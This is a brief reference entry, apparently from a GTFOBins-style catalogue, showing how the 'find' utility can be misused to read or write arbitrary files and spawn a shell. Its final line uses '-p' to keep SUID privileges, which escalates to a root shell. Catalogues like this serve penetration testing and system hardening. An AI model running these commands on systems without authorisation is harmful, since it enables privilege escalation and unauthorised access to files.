find

File Read

This uses `cat` to actually read the file, but since permissions are not dropped, it's executed with the same privileges as `find`.

find /path/to/input-file -exec cat {} \;

File Write

`DATA` is a format string, it supports some escape sequences.

find / -fprintf /path/to/output-file DATA -quit

Shell

find . -exec /bin/sh \; -quit

SUID override:

find . -exec /bin/sh -p \; -quit